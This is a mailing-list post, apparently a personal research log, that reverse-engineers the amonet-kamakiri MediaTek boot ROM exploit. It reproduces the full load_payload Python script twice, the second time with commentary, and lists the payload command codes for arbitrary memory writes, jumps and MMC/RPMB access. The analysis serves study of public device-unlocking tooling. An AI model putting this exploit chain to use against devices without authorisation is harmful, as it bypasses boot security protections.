2022-05-06 what I know regarding kamakiri so far: - mediatek uses arm chips - the uses of kamakiri choose to speak raw USB, rather than serial - it's one of a handful of similar things - it's used to disable boot rom protections in the phone - code is uploaded to the phone and executed while it is connected in preloader mode. 1032 it's hard for me to pursue this. i'm mostly right now having some downtime while the bkerler client installs dependencies over my 5K/sec tether. when that works out I might switch focus to seeing if I can stabilise the open source OS. 1034 i've cloned the bkerler sources and the amonet-kamakiri sources. amonet has three subfolders: brom-payload, lk-payload, and microloader. it also has a kernel patch that short circuits some usb checks. the brom payload has two stages and some library files. stage1 looks like a simple daemon that can perform serial commands similar to the factory preloader. it uses a magic command prefix of 0xf00dd00d. the boot rom stage calls a handful of functions that are given by opaque hardcoded pointer addresses: jump_bl() = 0xB673 send_usb_response(int,int,int) = 0x55BB ptr_send() = *0x103088 // these might be hooked ptr_recv() = *0x103084 send_dword(int) = 0xBE09 int recv_dword() = 0xBDD5 send_data(addr,sz) = 0xBED1 int recv_data(addr,sz,flags=0) = 0xBE4B all commands for stage1 and possible behavior: 0x4000: write data to address. replies with 0xD0D0D0D0 for success and 0xF0F0F0F0 for failure. uses recv_data 0x4001: jump to address 0x3000: reboot writes some hardcoded values to volatile registers at 0x10007000 0x3001: kick watchdog writes 0x1971 to a specific 32 bit register In the case of a protocol error it stops listening for commands and enters an infinite busy loop. stage2 payload also has a command loop with the same magic prefix. the stage2 payload appears to have a parallel informative output stream for printf, separate from the serial. haven't looked. 0x1000: read mmc block at address 0x1001: write mmc block at address. blocksize is 0x200 . replies 0xD0D0D0D0 on success. 0x1002: set mmc partition as a dword 0x2000: read mmc rpmb. 0x100 bytes. 0x2001: write 0x100 bytes to mmc rpmb. 0x5000: read size data from ram address. 0x3000: reboot. writes to same registers. one of them is the watchdog kick. 0x3001: kick watchdog only. stage2 has the same behavior of busylooping forever for a protocol mismatch (0xf00dd00d not read when expected) that's cool! my mtkclient install failed to an sha256 mismatch.

here's load_payload it calls at the start of the main function: #!/usr/bin/env python3 import sys import time from common import Device from logger import log from functions import UserInputThread, check_modemmanager import usb.core import usb.util import struct import os def p32(x): return struct.pack(">I", x) def load_payload_file(path): with open(path, "rb") as fin: payload = fin.read() log("Load payload from {} = 0x{:X} bytes".format(path, len(payload))) while len(payload) % 4 != 0: payload += b"\x00" return payload def attempt2(d): d.write(b"\xE0") result = d.read(1) d.write(p32(0xA00)) result = d.read(4) payload = load_payload_file("../brom-payload/stage1/stage1.bin") if len(payload) >= 0xA00: raise RuntimeError("payload too large") d.write(payload) def noop(*args, **kwargs): pass def load_payload(dev): log("Handshake") dev.handshake() log("Disable watchdog") dev.write32(0x10007000, 0x22000000) thread = UserInputThread() thread.start() while not thread.done: dev.write32(0x10007008, 0x1971) # low-level watchdog kick time.sleep(1) d = dev.dev addr = 0x10007050 result = dev.read32(addr) dev.write32(addr, [0xA1000]) # 00 10 0A 00 result = dev.read32(addr) readl = 0x24 result = dev.read32(addr - 0x20, readl//4) dev.write32(addr, 0) attempt2(d) udev = usb.core.find(idVendor=0x0e8d, idProduct=0x3) udev._ctx.managed_claim_interface = noop log("Let's rock") try: udev.ctrl_transfer(0xA1, 0, 0, 10, 0) except usb.core.USBError as e: print(e) # clear 2 more bytes d.read(2) log("Waiting for stage 1 to come online...") data = d.read(4) if data != b"\xA1\xA2\xA3\xA4": raise RuntimeError("received {} instead of expected pattern".format(data)) dev.kick_watchdog() log("All good") log("Load 2nd stage payload") stage2=load_payload_file("../brom-payload/stage2/stage2.bin") log("Send 2nd stage payload") # magic d.write(p32(0xf00dd00d)) # cmd d.write(p32(0x4000)) # address to write d.write(p32(0x201000)) # length d.write(p32(len(stage2))) # data d.write(stage2) code = d.read(4) if code != b"\xd0\xd0\xd0\xd0": raise RuntimeError("device failure") dev.kick_watchdog() log("Party time") # magic d.write(p32(0xf00dd00d)) # cmd d.write(p32(0x4001)) # address to write d.write(p32(0x201000)) log("Waiting for stage 2 to come online...") data = d.read(4) if data != b"\xB1\xB2\xB3\xB4": raise RuntimeError("received {} instead of expected pattern".format(data)) log("All good") dev.kick_watchdog() if __name__ == "__main__": check_modemmanager() if len(sys.argv) > 1: dev = Device(sys.argv[1]) else: dev = Device() dev.find_device() load_payload(dev)

On Sat, May 7, 2022, 3:02 AM Undiscussed Horrific Abuse, One Victim of Many <gmkarl@gmail.com> wrote:

here's load_payload it calls at the start of the main function:

#!/usr/bin/env python3 import sys import time

from common import Device from logger import log from functions import UserInputThread, check_modemmanager

import usb.core import usb.util

import struct import os

def p32(x): return struct.pack(">I", x)

def load_payload_file(path): with open(path, "rb") as fin: payload = fin.read() log("Load payload from {} = 0x{:X} bytes".format(path, len(payload))) while len(payload) % 4 != 0: payload += b"\x00"

return payload

def attempt2(d): d.write(b"\xE0") result = d.read(1) d.write(p32(0xA00)) result = d.read(4)

payload = load_payload_file("../brom-payload/stage1/stage1.bin")

if len(payload) >= 0xA00: raise RuntimeError("payload too large")

d.write(payload)

attempt2() appears to be where the payload is uploaded. it's strange the command is hardcoded here, rather than encapsulated into the Device class, and it implies the dev published their work soon after it functioned, without fully cleaning it up. E0 appears to be a special command that takes a size and data. We can infer the data is then executed somehow.

def noop(*args, **kwargs): pass

def load_payload(dev): log("Handshake") dev.handshake()

This is the same handshake I was doing. log("Disable watchdog")

dev.write32(0x10007000, 0x22000000)

It turns out arbitrary RAM reads and writes can be made with normal commands. These high addresses were registers, I believe.

thread = UserInputThread() thread.start()

while not thread.done:

dev.write32(0x10007008, 0x1971) # low-level watchdog kick time.sleep(1)

This process is at https://github.com/amonet-kamakiri/kamakiri/blob/master/modules/functions.py . It tells the user that if they have shorted their hardware, it is time to remove the short, and waits for them to press enter to continue. The thread is likely because the wait is done by a blocking read on stdin.

d = dev.dev

addr = 0x10007050 result = dev.read32(addr) dev.write32(addr, [0xA1000]) # 00 10 0A 00 result = dev.read32(addr)

Writes to a 32 bit register. The trailing two bytes are the length of the payload, could be a coincidence.

readl = 0x24 result = dev.read32(addr - 0x20, readl//4)

Maybe debugging cruft to read registers. Or, the reading could trigger something.

dev.write32(addr, 0)

Clears the register after writing it.

attempt2(d)

Uploads the brom payload using a normal-looking command. The upload did not verify that the length did not underrun, which seems strange to me. udev = usb.core.find(idVendor=0x0e8d, idProduct=0x3)

udev._ctx.managed_claim_interface = noop

log("Let's rock") try: udev.ctrl_transfer(0xA1, 0, 0, 10, 0)

Okay, so it's sending control data to the USB device here. I think the device was usb_acm? i'm not immediately finding information on request 0xa1, if that is request field. a next step here might be to look at the interface for ctrl_transfer and see what the parameters are, then either check a usb log or look for information on the mediatek usb interface. except usb.core.USBError as e:

print(e)

# clear 2 more bytes d.read(2)

This skips 2 bytes in the serial stream. The protocol appears to sometimes send 2 byte status confirmations.

log("Waiting for stage 1 to come online...")

data = d.read(4) if data != b"\xA1\xA2\xA3\xA4": raise RuntimeError("received {} instead of expected pattern".format(data))

This is now interfacing with the boot rom payload. I'm guessing the purpose of these payloads is to read and write data without checks that are present in the factory firmware, but I don't know.

dev.kick_watchdog()

log("All good")

log("Load 2nd stage payload") stage2=load_payload_file("../brom-payload/stage2/stage2.bin")

log("Send 2nd stage payload") # magic d.write(p32(0xf00dd00d)) # cmd d.write(p32(0x4000)) # address to write d.write(p32(0x201000)) # length d.write(p32(len(stage2))) # data d.write(stage2)

code = d.read(4) if code != b"\xd0\xd0\xd0\xd0": raise RuntimeError("device failure")

dev.kick_watchdog()

All it did was write the data into ram at address 0x201000 . These functions not being encapsulated into a class possibly shows how small and quick this part is considered, maybe not helpful information, unsure. log("Party time")

# magic d.write(p32(0xf00dd00d)) # cmd d.write(p32(0x4001)) # address to write d.write(p32(0x201000))

This jumps to the address. It seems the reason for two payloads is that there is a size limitation on the code used to upload the first one. The dev wanted more features than fit within that size.

log("Waiting for stage 2 to come online...")

data = d.read(4) if data != b"\xB1\xB2\xB3\xB4": raise RuntimeError("received {} instead of expected pattern".format(data))

log("All good")

dev.kick_watchdog()

That's that. The purpose of this code is to replace the behavior of the device with new behavior: to provide a custom download agent for further steps to use. It uses a command code E0 to do this, which is followed by a short control transfer to the usb device, the nature of which I haven't identified. It's somewhat reasonable to summarise the E0 + control transfer as a hack that executes up to 0xa00 bytes of uploaded code. The user interfacing implies the device may be booted with some pins shorted to facilitate this. This may be the kamakiri hack, but it seems worthwhile glancing in other areas to understand better.

if __name__ == "__main__":

check_modemmanager()

if len(sys.argv) > 1: dev = Device(sys.argv[1]) else: dev = Device() dev.find_device()

load_payload(dev)